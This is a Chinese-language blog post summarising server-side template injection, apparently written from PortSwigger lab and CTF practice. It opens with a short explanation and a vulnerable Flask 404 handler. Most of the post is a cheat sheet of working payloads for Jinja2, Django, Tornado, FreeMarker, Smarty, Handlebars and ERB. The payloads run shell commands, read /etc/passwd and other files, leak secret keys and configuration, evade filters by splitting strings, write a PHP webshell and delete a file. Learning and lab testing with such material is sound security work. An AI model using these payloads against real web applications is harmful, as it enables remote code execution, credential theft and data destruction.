ssti
我之前在做了幾道題之后寫了一篇只包含python環境的ssti的總結,后來刷portswigger lab的時候才發覺自己先入為主了,所以決定重新寫一篇。
因本人技術淺薄,只對見過的幾個模板做簡單介紹,如果想看有深度的文章,可以直接去看參考里的最后一個。
ssti不僅僅存在於python中。
ssti成因
服務端在接收用戶輸入或用戶可控參數后,未作處理或未進行嚴格過濾,直接嵌入模板渲染,導致執行惡意代碼。
拿python-jinja2舉個例子吧
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
<div class="center-content error">
<h1>%s Not Found!</h1>
</div>
''' % (request.url)
return render_template_string(template), 404
if __name__ == '__main__':
app.run()
在這段代碼中:
如果請求的url不存在,會返回404頁面
404頁面的內容模板template
包含request.url
返回時調用了render_template_string(template)
函數,而這個函數會調用jinja2模板引擎對template
進行渲染,如果request.url
中含有模板語句,將 會執行、渲染,然后返回
但這個例子有特殊性,在該環境下要想利用ssti,必須要有%
格式化字符串,就是template='''xxxxx'''%(request.url)
這一部分,如果把template
部分寫 成了單獨的html
文件,那么將無法實現
例如:
- 請求:
xxxx.xxx/{{ 10*10 }}
- 返回:
xxxx.xxx/{{ 100 }} Not Found!
ssti利用思路
- 確定模板引擎
- 修改參數,看報錯信息
- 看模板語法
- 根據引擎尋找/構造payload
- 構造payload的思路
- 尋找可用對象(比如字符串、字典,或者已給出的對象)
- 通過可用對象尋找原生對象(object)
- 利用原生對象實例化目標對象(比如os)
- 執行代碼
- 構造payload的思路
- 如果手工有困難,或者工作量比較大,可用使用
tqlmap
代替
ssti-payload
1-python
- fuzz
{{6*6}}
flask(jinja2)
-
查看文件夾
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
這里的./
是路徑
-
讀取文件
-
{{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}
-
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
-
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')
-
-
RCE
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
-
查看配置項
{{ url_for.__globals__['current_app'].config['FLAG']}
-
bypass
django
- 查看配置項
{{settings}}
(settings.SECRET_KEY){{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}
tornado
- 查看設置常量
{{handler.settings}}
- RCE
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
2-java
freemarker
- RCE
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
- 沙盒逃逸+ 文件讀取
${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
3-php
smarty
- 讀取文件
{self::getStreamVariable("file:///proc/self/loginuid")}
- 寫入文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
4-javascript
handlebars
-
RCE
-
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm morale.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
-
5-Ruby
ERB
- RCE
<%= exec 'ls' %>
參考
- https://xz.aliyun.com/t/3679 Flask
- https://blog.csdn.net/weixin_33967071/article/details/89831707 FreeMarker
- http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html Handlebars
- https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E 一篇非常棒的ssti總結!!!